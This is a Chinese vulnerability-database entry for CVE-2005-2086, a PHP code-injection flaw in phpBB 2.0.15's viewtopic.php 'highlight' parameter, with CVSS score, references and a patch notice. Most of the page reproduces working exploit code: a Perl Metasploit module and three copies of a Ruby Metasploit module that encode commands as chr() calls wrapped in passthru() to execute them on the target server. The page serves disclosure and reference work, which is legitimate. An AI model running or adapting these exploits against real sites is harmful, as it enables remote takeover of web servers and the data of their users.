CVE-2005-2086
CVSS7.5
发布时间 :2005-07-05 00:00:00
修订时间 :2016-10-17 23:24:55
NMCOEP    

[原文]PHP remote file inclusion vulnerability in viewtopic.php in phpBB 2.0.15 and earlier allows remote attackers to execute arbitrary PHP code.


[CNNVD]phpBB viewtopic.php 代码执行漏洞(CNNVD-200507-019)

        phpBB是一套使用用PHP语言实现Web论坛系统。
        phpBB 2.0.15及之前版本中的viewtopic.php存在PHP脚本注入漏洞。
        远程攻击者可以利用此漏洞在主机上执行任意PHP代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2086
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2086
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200507-019
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=111999905917019&w=2
(UNKNOWN)  BUGTRAQ  20050628 Security Advisory - phpBB 2.0.15 PHP-code injection bug
http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=302011
(PATCH)  CONFIRM  http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=302011

- 漏洞信息

phpBB viewtopic.php 代码执行漏洞
高危 未知
2005-07-05 00:00:00 2005-10-20 00:00:00
远程  
        phpBB是一套使用用PHP语言实现Web论坛系统。
        phpBB 2.0.15及之前版本中的viewtopic.php存在PHP脚本注入漏洞。
        远程攻击者可以利用此漏洞在主机上执行任意PHP代码。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        http://www.phpbb.com/downloads.php

- 漏洞信息 (1113)

phpBB 2.0.15 Remote PHP Code Execution Exploit (metasploit) (EDBID:1113)
php webapps
2005-07-19 Verified
0 str0ke
N/A [点击下载]
##
#        Title: phpBB 2.0.15 arbitrary command execution eXploit
#    Name: php_phpbb2_0_15.pm
# License: Artistic/BSD/GPL
#         Info: Coded because of boredom.
#
#  - This is an exploit module for the Metasploit Framework, please see
#     http://metasploit.com/projects/Framework for more information.
##

package Msf::Exploit::php_phpbb2_0_15;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
        'Name'     => 'phpBB 2.0.15 arbitrary command execution eXploit',
        'Version'  => '$Revision: 1.0 $',
        'Authors'  => [ 'str0ke <str0ke [at] milw0rm.com> [Artistic/GPL]' ],
        'Arch'     => [ ],
        'OS'       => [ ],
        'Priv'     => 0,
        'UserOpts' =>
          {
                'RHOST' => [1, 'ADDR', 'The target address'],
                'RPORT' => [1, 'PORT', 'The target port', 80],
                'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
                'RPATH' => [1, 'DATA', 'Path to the viewtopic script', '/phpBB2/viewtopic.php'],
                'TOPIC' => [1, 'DATA', 'viewtopic id', '1'],
                'SSL'   => [0, 'BOOL', 'Use SSL'],
          },

        'Description' => Pex::Text::Freeform(qq{
                This module exploits an arbitrary code execution flaw in phpbb 2.0.15.
}),

        'Refs' =>
          [
                ['MIL', '1113'],
          ],

        'Payload' =>
          {
                'Space' => 512,
                'Keys'  => ['cmd', 'cmd_bash'],
          },

        'Keys' => ['phpbb'],
  };

sub new {
        my $class = shift;
        my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
        return($self);
}

sub Exploit {
        my $self = shift;
        my $target_host    = $self->GetVar('RHOST');
        my $target_port    = $self->GetVar('RPORT');
        my $vhost          = $self->GetVar('VHOST') || $target_host;
        my $path           = $self->GetVar('RPATH');
        my $topic           = $self->GetVar('TOPIC');
        my $cmd            = $self->GetVar('EncodedPayload')->RawPayload;

        # Encode the command as a set of chr() function calls
        my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

        # Create the phpBB get request data
        my $data = "?t=$topic&highlight=%27.".
                "passthru($byte)".
                ".%27";

        my $req =
                "GET $path$data HTTP/1.1\r\n".
                "Host: $vhost:$target_port\r\n".
                "Content-Type: application/html\r\n".
                "Content-Length: ". length($data)."\r\n".
                "Connection: Close\r\n".
                "\r\n";

        my $s = Msf::Socket::Tcp->new(
                'PeerAddr'  => $target_host,
                'PeerPort'  => $target_port,
                'LocalPort' => $self->GetVar('CPORT'),
                'SSL'       => $self->GetVar('SSL'),
          );

        if ($s->IsError){
                $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
                return;
        }

        $self->PrintLine("[*] Sending the malicious phpBB Get request...");

        $s->Send($req);

        my $results = $s->Recv(-1, 20);
        $s->Close();

        return;
}

1;

# milw0rm.com [2005-07-19]
		

- 漏洞信息 (16890)

phpBB viewtopic.php Arbitrary Code Execution (EDBID:16890)
php webapps
2010-07-03 Verified
0 metasploit
N/A [点击下载]
##
# $Id: phpbb_highlight.rb 9671 2010-07-03 06:21:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'phpBB viewtopic.php Arbitrary Code Execution',
			'Description'    => %q{
					This module exploits two arbitrary PHP code execution flaws in the
				phpBB forum system. The problem is that the 'highlight' parameter
				in the 'viewtopic.php' script is not verified properly and will
				allow an attacker to inject arbitrary code via preg_replace().

				This vulnerability was introduced in revision 3076, and finally
				fixed in revision 5166. According to the "tags" within their tree,
				this corresponds to versions 2.0.4 through 2.0.15 (inclusive).
			},
			'Author'         => [ 'valsmith[at]metasploit.com', 'hdm', 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9671 $',
			'References'     =>
				[
					[ 'CVE', '2005-2086'],
					[ 'CVE', '2004-1315'],
					[ 'OSVDB', '11719'],
					[ 'OSVDB', '17613'],
					[ 'BID', '14086'],
					[ 'BID', '10701'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 1024,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					[ 'Automatic', 		{ }],
					[ 'phpbb <=2.0.10', 	{ }],
					[ 'phpbb <=2.0.15', 	{ }],
				],
			'DisclosureDate' => 'Nov 12 2004',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URI', [true, "The phpBB root Directory", "/phpBB2"]),
				OptString.new('TOPIC', [false, "The ID of a valid topic"]),
			], self.class)
	end

	def find_topic

		1.upto(32) do |x|

		res = send_request_raw({
				'uri'	=> datastore['URI'] + '/viewtopic.php?topic=' + x.to_s,
			}, 25)

		if (res and res.body.match(/class="postdetails"/))
			print_status("Discovered valid topic ID: #{x}")
			return x
		end

		end
		return false

	end

	def exploit

		topic = datastore['TOPIC'] || find_topic

		if !(topic)
			print_status("No valid topic ID found, please specify the TOPIC option.")
			return
		else

			sploit = datastore['URI'] + "/viewtopic.php?t=#{topic}&highlight="

			case target.name
			when /Automatic/
				req = "/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527"

				res = send_request_raw({
				'uri'	=> datastore['URI'] + req
				}, 25)

				print_status("Trying to determine which attack method to use...")

				if (res and res.body =~ /\<title>phpinfo/)
					byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
					sploit << "%2527%252epassthru(#{byte})%252e%2527"
				else
					byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
					sploit << "%27.passthru(#{byte}).%27"
				end

			when /2\.0\.10/
				byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
				sploit << "%2527%252epassthru(#{byte})%252e%2527"
			when /2\.0\.15/
				byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
				sploit << "%27.passthru(#{byte}).%27"
			end

			res = send_request_raw({
			'uri'	=> sploit
			}, 25)

		end

	end

end
		

- 漏洞信息 (F84528)

phpBB viewtopic.php Arbitrary Code Execution (PacketStormID:F84528)
2009-12-31 00:00:00
H D Moore,Val Smith,Patrick Webster  metasploit.com
exploit,arbitrary,php,code execution
CVE-2005-2086,CVE-2004-1315
[点击下载]

This Metasploit module exploits two arbitrary PHP code execution flaws in the phpBB forum system. The problem is that the 'highlight' parameter in the 'viewtopic.php' script is not verified properly and will allow an attacker to inject arbitrary code via preg_replace().

##
# $Id: phpbb_highlight.rb 7724 2009-12-06 05:50:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'phpBB viewtopic.php Arbitrary Code Execution',
			'Description'    => %q{
					This module exploits two arbitrary PHP code execution flaws in the
					phpBB forum system. The problem is that the 'highlight' parameter
					in the 'viewtopic.php' script is not verified properly and will
					allow an attacker to inject arbitrary code via preg_replace().
			},
			'Author'         => [ 'valsmith[at]metasploit.com', 'hdm', 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 7724 $',
			'References'     =>
				[
					[ 'CVE', '2005-2086'],
					[ 'CVE', '2004-1315'],
					[ 'OSVDB', '11719'],
					[ 'OSVDB', '17613'],
					[ 'BID', '14086'],
					[ 'BID', '10701'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 1024,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},		
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => 
				[
					[ 'Automatic', 		{ }],
					[ 'phpbb <=2.0.10', 	{ }],
					[ 'phpbb <=2.0.15', 	{ }],
				],
			'DisclosureDate' => 'Nov 12 2004',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "The phpBB root Directory", "/phpBB2"]),
					OptString.new('TOPIC', [false, "The ID of a valid topic"]),
				], self.class)
	end

	def find_topic

		1.upto(32) do |x|

		res = send_request_raw({
			'uri'	=> datastore['URI'] + '/viewtopic.php?topic=' + x.to_s,
		}, 25)

		if (res and res.body.match(/class="postdetails"/))
			print_status("Discovered valid topic ID: #{x}")
			return x
		end

		end
		return false

	end

	def exploit

		topic = datastore['TOPIC'] || find_topic

		if !(topic)
			print_status("No valid topic ID found, please specify the TOPIC option.")
			return
		else

			sploit = datastore['URI'] + "/viewtopic.php?t=#{topic}&highlight="

			case target.name
			when /Automatic/
				req = "/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527"

				res = send_request_raw({
				'uri'	=> datastore['URI'] + req
				}, 25)

				print_status("Trying to determine which attack method to use...")

				if (res and res.body =~ /\<title>phpinfo/)
					byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
					sploit << "%2527%252epassthru(#{byte})%252e%2527"
				else
					byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
					sploit << "%27.passthru(#{byte}).%27"
				end

			when /2\.0\.10/
				byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
				sploit << "%2527%252epassthru(#{byte})%252e%2527"
			when /2\.0\.15/
				byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
				sploit << "%27.passthru(#{byte}).%27"
			end

			res = send_request_raw({
			'uri'	=> sploit
			}, 25)

		end

	end

end
    

- 漏洞信息 (F82367)

phpBB viewtopic.php Arbitrary Code Execution (PacketStormID:F82367)
2009-10-30 00:00:00
Val Smith  
exploit,arbitrary,php,code execution
CVE-2005-2086,CVE-2004-1315
[点击下载]

This Metasploit module exploits two arbitrary PHP code execution flaws in the phpBB forum system. The problem is that the 'highlight' parameter in the 'viewtopic.php' script is not verified properly and will allow an attacker to inject arbitrary code via preg_replace().

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'phpBB viewtopic.php Arbitrary Code Execution',
			'Description'    => %q{
					This module exploits two arbitrary PHP code execution flaws in the
					phpBB forum system. The problem is that the 'highlight' parameter
					in the 'viewtopic.php' script is not verified properly and will
					allow an attacker to inject arbitrary code via preg_replace().
			},
			'Author'         => [ 'valsmith[at]metasploit.com', 'hdm', 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2005-2086'],
					[ 'CVE', '2004-1315'],
					[ 'OSVDB', '11719'],
					[ 'OSVDB', '17613'],
					[ 'BID', '14086'],
					[ 'BID', '10701'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 1024,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},		
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => 
				[
					[ 'Automatic', 		{ }],
					[ 'phpbb <=2.0.10', 	{ }],
					[ 'phpbb <=2.0.15', 	{ }],
				],
			'DisclosureDate' => 'Nov 12 2004',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "The phpBB root Directory", "/phpBB2"]),
					OptString.new('TOPIC', [false, "The ID of a valid topic"]),
				], self.class)
	end

	def find_topic

		1.upto(32) do |x|

		res = send_request_raw({
			'uri'	=> datastore['URI'] + '/viewtopic.php?topic=' + x.to_s,
		}, 25)

		if (res and res.body.match(/class="postdetails"/))
			print_status("Discovered valid topic ID: #{x}")
			return x
		end

		end
		return false

	end

	def exploit

		topic = datastore['TOPIC'] || find_topic

		if !(topic)
			print_status("No valid topic ID found, please specify the TOPIC option.")
			return
		else

			sploit = datastore['URI'] + "/viewtopic.php?t=#{topic}&highlight="

			case target.name
			when /Automatic/
				req = "/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527"

				res = send_request_raw({
				'uri'	=> datastore['URI'] + req
				}, 25)

				print_status("Trying to determine which attack method to use...")

				if (res and res.body =~ /\<title>phpinfo/)
					byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
					sploit << "%2527%252epassthru(#{byte})%252e%2527"
				else
					byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
					sploit << "%27.passthru(#{byte}).%27"
				end

			when /2\.0\.10/
				byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
				sploit << "%2527%252epassthru(#{byte})%252e%2527"
			when /2\.0\.15/
				byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
				sploit << "%27.passthru(#{byte}).%27"
			end

			res = send_request_raw({
			'uri'	=> sploit
			}, 25)

		end

	end

end

    

- 漏洞信息

17613
phpBB viewtopic.php Highlighting Feature Arbitrary PHP Code Execution
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public, Exploit Commercial Vendor Verified, Vendor Verified, Coordinated Disclosure

- 漏洞描述

phpbb contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the viewtopic.php script not properly sanitizing user input supplied to the preg_replace() function. This may allow an attacker to include a file from an arbitrary remote host that contains commands which will be executed by the vulnerable script with the same privileges as the web server.

- 时间线

2005-06-28 2005-06-23
Unknow 2005-06-28

- 解决方案

Upgrade to version 2.0.16 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站